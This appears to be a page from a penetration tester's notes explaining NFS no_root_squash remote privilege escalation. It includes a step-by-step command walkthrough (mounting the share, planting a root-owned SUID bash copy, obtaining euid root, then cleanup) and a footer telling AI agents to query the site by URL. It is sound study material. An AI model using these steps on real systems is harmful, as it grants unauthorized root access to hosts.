# NFS - N/A

## no\_root\_squash <mark style="color:red;">privilege escalation</mark> (remote)

By default, NFS shares change requests from the root user into the non-privileged user `nfsnobody`, the root privileges are "squashed". With `no_root_squash` configured requests are not "squashed", meaning any client that mount this directory can **read, write and modify files within the directory as root** on the host machine.

This is the remote version of this privilege escalation, meaning there is no explicit host configured in `/etc/exports`, all (`*`) hosts are allowed to mount the nfs share.

```bash
## Confirm that 'no_root_squash' is configured
[lowPrivUser@victimHost nfs]$ cat /etc/exports
/share/nfs	*(rw,insecure,sync,no_subtree_check,no_root_squash)

## Low privileged account isn't able to read nfs directory
[lowPrivUser@victimHost share]$ ls -al
drwxr-xr-x   7 root     root        75 Jun 23 08:56 .
dr-xr-xr-x. 20 root     root       278 Aug 25  2022 ..
drwxr-x---   2 admUser  admUser    189 Feb 19  2021 nfs

## Mount share from local attack machine
➜  /tmp mkdir pe
➜  /tmp mount -t nfs victimHost:/share/nfs /tmp/pe
➜  /tmp cd pe
➜  pe ls -al 
total 5684
drwxr-x---  2 void void     189 Feb 19  2021 .
drwxrwxrwt 21 root root   69632 Jul  3 12:49 ..
-rw-r--r--  1 void void     823 Feb 19  2021 secret.conf

## Change privileges of mounted share so lowPrivUser can copy /bin/bash to share
➜  /tmp chmod 777 pe

[lowPrivUser@victimHost share]$ cd nfs
[lowPrivUser@victimHost nfs]$ cp /bin/bash .

## Change owner and set SUID bit on binary. Execute on victimHost to priesc
➜  pe chmod +s bash
➜  pe chown root:root bash

[lowPrivUser@victimHost nfs]$ ./bash -p
bash-4.4# id
uid=1651499380(lowPrivUser) gid=1102800513(domain users) euid=0(root) egid=0(root) groups=0(root)

## Cleaning
➜  pe rm bash
➜  pe cd ..
➜  /tmp chmod 750 pe
💀➜  /tmp umount pe
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xpthree.gitbook.io/notes/exploits-pocs/nfs-n-a.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.